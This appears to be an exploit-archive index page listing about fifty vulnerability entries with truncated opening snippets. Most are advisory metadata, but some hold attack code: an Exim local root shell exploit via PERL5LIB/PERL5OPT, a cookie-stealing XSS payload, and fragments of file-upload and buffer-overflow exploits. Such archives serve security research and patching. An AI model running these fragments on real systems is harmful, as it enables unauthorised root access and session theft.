Unitrends UEB 9.1 - Privilege Escalation

Unitrends UEB 9.1 - Privilege Escalation Exploit Title: Authenticated lowpriv RCE for Unitrends UEB 9.1 Date: 08/08/2017 Exploit Authors: Benny Husted, Jared Arave, Cale Smith Contact: https://twitter.com/iotennui || https://twitter.com/BennyHusted || https://twitter.com/0xC413 Vendor Homepage:...

McAfee Security Scan Plus - Remote Command Execution

McAfee Security Scan Plus - Remote Command Execution Vulnerability Summary The following advisory describes a Remote Code Execution found in McAfee Security Scan Plus. An active network attacker could launch a man-in-the-middle attack on a plaintext-HTTP response to a client to run any residing...

Realtek Audio Driver 6.0.1.7898 (Windows 10) - Dolby Audio X2 Service Privilege Escalation

Realtek Audio Driver 6.0.1.7898 Windows 10 - Dolby Audio X2 Service Privilege Escalation Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1075 Windows: Dolby Audio X2 Service Elevation of Privilege Platform: Windows 10 + Realtek Audio Driver version 6.0.1.7898 on a Lenovo P50...

WordPress Multiple Plugins - Arbitrary File Upload

WordPress Multiple Plugins - Arbitrary File Upload import requests import random import string print "---------------------------------------------------------------------" print "Multiple Wordpress Plugin - Remote File Upload Exploit\nDiscovery: Larry W. Cashdollar\nExploit Author: Munir...

Adobe Animate 15.2.1.95 - Memory Corruption

Adobe Animate 15.2.1.95 - Memory Corruption + Credits: John Page aka hyp3rlinx + Website: hyp3rlinx.altervista.org + Source: http://hyp3rlinx.altervista.org/advisories/ADOBE-ANIMATE-MEMORY-CORRUPTION-VULNERABILITY.txt + ISR: ApparitionSec Vendor: ============= www.adobe.com Products:...

Apache Tomcat 876 (Debian-Based Distros) - Local Privilege Escalation

Apache Tomcat 876 Debian-Based Distros - Local Privilege Escalation ============================================= - Discovered by: Dawid Golunski - http://legalhackers.com - dawid at legalhackers.com - CVE-2016-1240 - Release date: 30.09.2016 - Revision: 1 - Severity: High...

NetCommWireless HSPA 3G10WVE Wireless Router - Multiple Vulnerabilities

NetCommWireless HSPA 3G10WVE Wireless Router - Multiple Vulnerabilities Title: ==== NetCommWireless HSPA 3G10WVE Wireless Router – Multiple vulnerabilities Credit: ====== Name: Bhadresh Patel Company/affiliation: HelpAG Website: www.helpag.com CVE: ===== CVE-2015-6023, CVE-2015-6024 Date: ====...

Microsoft Windows Kernel - win32k.sys Local Privilege Escalation (MS14-058)

Microsoft Windows Kernel - win32k.sys Local Privilege Escalation MS14-058 Sources: https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-lab-exploiting-cve-2014-4113.pdf https://github.com/sam-b/CVE-2014-4113 EDB Mirror:...

Exim 4.84-3 - Local Privilege Escalation

Exim 4.84-3 - Local Privilege Escalation !/bin/sh CVE-2016-1531 exim /tmp/root.pm EOF package root; use strict; use warnings; system"/bin/sh"; EOF PERL5LIB=/tmp PERL5OPT=-Mroot /usr/exim/bin/exim -ps...

SeaWell Networks Spectrum - Multiple Vulnerabilities

SeaWell Networks Spectrum - Multiple Vulnerabilities Exploit Title: SeaWell Networks Spectrum - Multiple Vulnerabilities Discovered by: Karn Ganeshen Vendor Homepage: http://www.seawellnetworks.com/spectrum/ Versions Reported: Spectrum SDC 02.05.00, Build 02.05.00.0016 CVE-ID: CVE-2015-8282...

Quick Search 1.1.0.189 - search textbox Buffer Overflow (SEH Unicode) (Egghunter)

Quick Search 1.1.0.189 - search textbox Buffer Overflow SEH Unicode Egghunter !/usr/bin/perl = Exploit Title: Quick Search 1.1.0.189 'search textbox' Unicode SEH egghunter Buffer Overflow Date: 2015-04-23 Exploit Author: Tomislav Paskalev Vulnerable Software: Quick Search v1.1.0.189 Vendor...

Zabbix 2.0.5 - Cleartext ldap_bind_Password Password Disclosure (Metasploit)

Zabbix 2.0.5 - Cleartext ldapbindPassword Password Disclosure Metasploit This module requires Metasploit Date: 25-09-2013 Author: Pablo González Vendor Homepage: Zabbix - http://www.zabbix.com Software Link: http://www.zabbix.com Version: 2.0.5 Tested On: Linux Ubuntu, Suse, CentOS CVE:...

Malwarebytes Anti-Exploit 1.03.1.12201.04.1.1012 - Out-of-Bounds Read Denial of Service

Malwarebytes Anti-Exploit 1.03.1.12201.04.1.1012 - Out-of-Bounds Read Denial of Service / Exploit Title - MalwareBytes Anti-Exploit Out-of-bounds Read DoS Date - 19th January 2015 Discovered by - Parvez Anwar @parvezghh Vendor Homepage - https://www.malwarebytes.org Tested Version - 1.03.1.1220,...

GParted 0.14.1 - OS Command Execution

GParted 0.14.1 - OS Command Execution SEC Consult Vulnerability Lab Security Advisory ======================================================================= title: OS Command Execution product: GParted - Gnome Partition Editor vulnerable version: =0.15.0, =0.14.1 with fix for CVE-2014-7208 appli...

iOS 7 - Kernel Mode Memory Corruption

iOS 7 - Kernel Mode Memory Corruption ...................................... Vulnerability Summary ...................................... Title iOS 7 arbitrary code execution in kernel mode Release Date 14 March 2014 Reference NGS00596 Discoverer Andy Davis Vendor Apple Vendor Reference 600217059...

Titan FTP Server 10.32 Build 1816 - Directory Traversal

Titan FTP Server 10.32 Build 1816 - Directory Traversal "Titan FTP Server Directory Traversal Vulnerabilities" - Affected Vendor: South River Technologies - Affected System: Titan FTP Server software Version 10.32 Build 1816 - Vendor Disclosure Date: January 27th, 2014 - Public Disclosure Date:...

Burden 1.8 - Authentication Bypass

Burden 1.8 - Authentication Bypass Advisory ID: HTB23192 Product: Burden Vendor: Josh Fradley Vulnerable Versions: 1.8 and probably prior Tested Version: 1.8 Advisory Publication: December 18, 2013 without technical details Vendor Notification: December 18, 2013 Vendor Patch: December 18, 2013...

Adobe ColdFusion 9 - Administrative Authentication Bypass

Adobe ColdFusion 9 - Administrative Authentication Bypass -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 +------------------------------------------------------------------------------+ | Packet Storm Advisory 2013-0819-2 | | http://packetstormsecurity.com/ |...

GNU libcregcomp(3) - Multiple Vulnerabilities

GNU libcregcomp3 - Multiple Vulnerabilities // source: http://securityreason.com/securityalert/8003 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 GNU libc/regcomp3 Multiple Vulnerabilities Author: Maksymilian Arciemowicz http://securityreason.com/ http://cxib.net/ Date: - - Dis.: 01.10.2010 - -...

IBM OmniFind - Local Privilege Escalation

IBM OmniFind - Local Privilege Escalation Privilege escalation in two applications CVE-2010-3895 Root SUID bits are set for the applications »esRunCommand« and »estaskwrapper«. ------------------------------------------------------------------------- -rwsr-xr-x 1 root users...

Adobe Acrobat Reader and Flash Player - newclass Invalid Pointer

Adobe Acrobat Reader and Flash Player - newclass Invalid Pointer ''' | / |/ \ /\ | | | | \ | \ / | | | | / \ | | | | | | | |/| | | | |/ /\ | | | | ' + self.eol else: self.content += self.eol + data + self.eol self.content += 'endobj' + self.eol def objSWFStreamself, objnum, data, stream:...

Microsoft Windows Outlook Express and Windows Mail - Integer Overflow

Microsoft Windows Outlook Express and Windows Mail - Integer Overflow Application: Microsoft Outlook Express Microsoft Windows Mail Platforms: Windows 2000 Windows XP Windows Vista Windows server 2003 Windows Server 2008 SR2 Exploitation: Remote Exploitable CVE Number: CVE-2010-0816 Discover Date...

Factux - Local File Inclusion

Factux - Local File Inclusion InformatioN Title : Factux LFI Vulnerability Author: altbta l9athotmail.com download : http://www.toocharger.com/telecharger/scripts/factux/3468.htm ExploiT dork: "Factux le facturier libre V 1.1.5" includeonce"include/language/$lang.php"; Vulnerable File :...

Sunbird 0.9 - Array Overrun Code Execution

Sunbird 0.9 - Array Overrun Code Execution full disclosure: http://seclists.org/fulldisclosure/2009/Dec/253 Sunbird 0.9 Array Overrun code execution Author: Maksymilian Arciemowicz and sp3x http://SecurityReason.com Date: - Dis.: 07.05.2009 - Pub.: 11.12.2009 CVE: CVE-2009-0689 CWE: CWE-199 Risk:...

SeaMonkey 1.1.8 - Remote Array Overrun

SeaMonkey 1.1.8 - Remote Array Overrun From Full Disclosure: http://seclists.org/fulldisclosure/2009/Nov/221 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 SeaMonkey 1.1.8 Remote Array Overrun Arbitrary code execution Author: Maksymilian Arciemowicz and sp3x http://SecurityReason.com Date: - - Dis...

Oracle Database 10.1.0.5 10.2.0.4 - AUTH_SESSKEY Length Validation Remote Buffer Overflow

Oracle Database 10.1.0.5 10.2.0.4 - AUTHSESSKEY Length Validation Remote Buffer Overflow include include include include include include void ssend SOCKET s, char msg, DWORD size int sent; printf "ssend: begin: %d bytes\n", size; sent=send s, charmsg, size, 0; if sent==SOCKETERROR printf "send -...

Linux Kernel 2.42.6 (RedHat Linux 9 Fedora Core 4 11 Whitebox 4 CentOS 4) - sock_sendpage() Ring0 Privilege Escalation (5)

Linux Kernel 2.42.6 RedHat Linux 9 Fedora Core 4 11 Whitebox 4 CentOS 4 - socksendpage Ring0 Privilege Escalation 5 / 0x82-CVE-2009-2692 Linux kernel 2.4/2.6 32bit socksendpage local ring0 root exploit simple ver Tested RedHat Linux 9.0, Fedora core 411, Whitebox 4, CentOS 4.x. -- Discovered by...

Novell eDirectory 8.x - iMonitor HTTPSTK Buffer Overflow (3)

Novell eDirectory 8.x - iMonitor HTTPSTK Buffer Overflow 3 source: https://www.securityfocus.com/bid/20655/info The Novell eDirectory server iMonitor is prone to a stack-based buffer-overflow vulnerability because it fails to perform sufficient bounds checking on client-supplied data before copyi...

BrudaNews 1.1 - adminindex.php Remote File Inclusion

BrudaNews 1.1 - adminindex.php Remote File Inclusion ============================================================================================== BrudaNews ================================================================================================ Exploit : --------------------------------...

Solaris 10 sysinfo(2) - Local Kernel Memory Disclosure (2)

Solaris 10 sysinfo2 - Local Kernel Memory Disclosure 2 / $Id: raptorsysinfo.c,v 1.2 2006/08/22 13:47:54 raptor Exp $ raptorsysinfo.c - Solaris sysinfo2 kernel memory leak Copyright c 2006 Marco Ivaldi systeminfo.c for Sun Solaris allows local users to read kernel memory via a 0 variable count...

Microsoft Windows Vista - ARP Table Entries Denial of Service

Microsoft Windows Vista - ARP Table Entries Denial of Service source: https://www.securityfocus.com/bid/23266/info Microsoft Windows Vista is prone to a denial-of-service vulnerability. Remote attackers may exploit this issue by submitting malicious ARP requests to the vulnerable computer. To...

Jira 8.3.4 - Information Disclosure (Username Enumeration)

Jira 8.3.4 - Information Disclosure Username Enumeration Exploit Title: Jira 8.3.4 - Information Disclosure Username Enumeration Date: 2019-09-11 Exploit Author: Mufeed VH Vendor Homepage: https://www.atlassian.com/ Software Link: https://www.atlassian.com/software/jira Version: 8.3.4 Tested on:...

WordPress Arforms 3.7.1 - Directory Traversal

WordPress Arforms 3.7.1 - Directory Traversal Exploit Title: WordPress Arforms 3.7.1 - Directory Traversal Date: 2019-09-27 Exploit Author: Ahmad Almorabea Updated version of the exploit can be found always at : http://almorabea.net/cve-2019-16902.txt Software Link:...

Dolibarr ERP-CRM 10.0.1 - SQL Injection

Dolibarr ERP-CRM 10.0.1 - SQL Injection Exploit Title: Dolibarr ERP/CRM - Multiple Sql Injection Exploit Author: Metin Yunus Kandemir kandemir Vendor Homepage: https://www.dolibarr.org/ Software Link: https://www.dolibarr.org/downloads Version: 10.0.1 Category: Webapps Tested on: Xampp for Linux...

Tableau - XML External Entity

Tableau - XML External Entity Exploit Title: Tableau XXE Google Dork: N/A Date: Reported to vendor July 2019, fix released August 2019. Exploit Author: Jarad Kopf Vendor Homepage: https://www.tableau.com/ Software Link: Tableau Desktop downloads: https://www.tableau.com/products/desktop/download...

Sahi pro 8.x - Cross-Site Scripting

Sahi pro 8.x - Cross-Site Scripting Exploit Title: Sahi pro alertdocument.cookie”.start; log“testing stored XSS injection”; $tc1.end; Step 2 : Execute the created script poc.sah using sahi GUI controller . Step 3 : navigate to the web logs console http://:/logs using the browser for the executed...

Typora 0.9.9.24.6 - Directory Traversal

Typora 0.9.9.24.6 - Directory Traversal Exploit Title: Code execution via path traversal Date: 17-05-2019 Exploit Author: Dhiraj Mishra Vendor Homepage: http://typora.io Software Link: https://typora.io/download/Typora.dmg Version: 0.9.9.24.6 Tested on: macOS Mojave v10.14.4 CVE: CVE-2019-12137...

OpenProject 5.0.0 - 8.3.1 - SQL Injection

OpenProject 5.0.0 - 8.3.1 - SQL Injection SEC Consult Vulnerability Lab Security Advisory ======================================================================= title: Unauthenticated SQL Injection vulnerability product: OpenProject vulnerable version: 5.0.0 - 8.3.1 fixed version: 8.3.2 & 9.0.0...

Zoho ManageEngine Netflow Analyzer Professional 7.0.0.2 - Path Traversal Cross-Site Scripting

Zoho ManageEngine Netflow Analyzer Professional 7.0.0.2 - Path Traversal Cross-Site Scripting !-- Exploit Title: Cross Site Scripting in Zoho ManageEngine Netflow Analyzer Professional v7.0.0.2 Administration zone Date: 31-01-2019 Exploit Author: Rafael Pedrero Vendor Homepage: https://www.manage...

ZTE MF65 BD_HDV6MF65V1.0.0B05 - Cross-Site Scripting

ZTE MF65 BDHDV6MF65V1.0.0B05 - Cross-Site Scripting Exploit Title: Reflected Cross-Site Scripting on ZTE MF65 Date: 01/09/2019 Exploit Author: Nathu Nandwani Website: http://nandtech.co/ Vendor Homepage: http://support.zte.com.cn/support/news/LoopholeInfoDetail.aspx?newsId=1009483 Version:...

Huawei B315s-22 - Information Leak

Huawei B315s-22 - Information Leak Product Family: LTE Model B315s – 22 Firmware version: 21.318.01.00.26 Author: Usman Saeed usman at xc0re.net 1. Unauthenticated access to sensitive files: It was observed that the web application running on the router, allows unauthenticated access to sensitive...

Ektron CMS 9.20 SP2 - Improper Access Restrictions

Ektron CMS 9.20 SP2 - Improper Access Restrictions Details ================ Software: Ektron Content Management System CMS Version: 9.20 SP2 Homepage: https://www.episerver.com Advisory report: https://github.com/alt3kx/CVE-2018-12596 CVE: CVE-2018-12596 CVSS: 7.5 HIGH:...

RICOH MP C1803 JPN Printer - Cross-Site Scripting

RICOH MP C1803 JPN Printer - Cross-Site Scripting Exploit Title: RICOH MP C1803 JPN Printer - Cross-Site Scripting Date: 2018-09-21 Exploit Author: Ismail Tasdelen Vendor Homepage: https://www.ricoh.com/ Hardware Link : https://www.ricoh.co.jp/mfp/mpc/1803/ Software : RICOH Printer Product Versio...

Jorani Leave Management 0.6.5 - Cross-Site Scripting

Jorani Leave Management 0.6.5 - Cross-Site Scripting Exploit Title: Jorani Leave Management System 0.6.5 – Cross-Site Scripting Exploit Author: Javier Olmedo Website: https://hackpuntes.com Date: 2018-09-06 Google Dork: N/A Vendor: Benjamin BALET Software Link: https://jorani.org/download.html...

Tenda ADSL Router D152 - Cross-Site Scripting

Tenda ADSL Router D152 - Cross-Site Scripting Exploit Title: Tenda D152 ADSL Router - Cross-Site Scripting Exploit Author: Sandip Dey Date: 2018-07-21 Vendor Homepage: http://www.tendacn.com Hardware Link:...

Wavemaker Studio 6.6 - Server-Side Request Forgery

Wavemaker Studio 6.6 - Server-Side Request Forgery Exploit Title: Wavemaker Studio 6.6 - Server-Side Request Forgery SSRF. Exploit Author: Gionathan "John" Reale Google Dork: N/A Date: 2018-08-01 Vendor Homepage: http://www.wavemaker.com/ Software Link:...

Cisco Adaptive Security Appliance - Path Traversal

Cisco Adaptive Security Appliance - Path Traversal ''' Cisco Adaptive Security Appliance - Path Traversal CVE-2018-0296 A security vulnerability in Cisco ASA that would allow an attacker to view sensitive system information without authentication by using directory traversal techniques. Vulnerabl...

Sharetronix CMS 3.6.2 - Cross-Site Request Forgery Cross-Site Scripting

Sharetronix CMS 3.6.2 - Cross-Site Request Forgery Cross-Site Scripting Exploit Title: Sharetronix CMS XSRF Vulnerability Version : 3.6.2 Exploit Author: Hesam Bazvand Software Link: http://sharetronix.ir/wp-content/uploads/2014/10/gold.zip Tested on: Windows 10 / Kali Linux Category: WebApps Dor...

Honeywell XL Web Controller - Cross-Site Scripting

Honeywell XL Web Controller - Cross-Site Scripting Exploit Title: Honeywell XL Web Controller - Cross-Site Scripting Date: 2018-05-24 Exploit Author: t4rkd3vilz Vendor Homepage: https://www.honeywell.com Version: WebVersion : XL1000C50 EXCEL WEB 52 I/O, XL1000C100 EXCEL WEB 104 I/O, XL1000C500...

Armadito Antivirus 0.12.7.2 - Detection Bypass

Armadito Antivirus 0.12.7.2 - Detection Bypass / Title: Armadito Antivirus - Malware Detection Bypass Date: 21/02/2018 Author: Souhail Hammou Author's website: http://rce4fun.blogspot.com Vendor Homepage: http://www.teclib-edition.com/en/ Version: 0.12.7.2 CVE: CVE-2018-7289 Details: -------- An...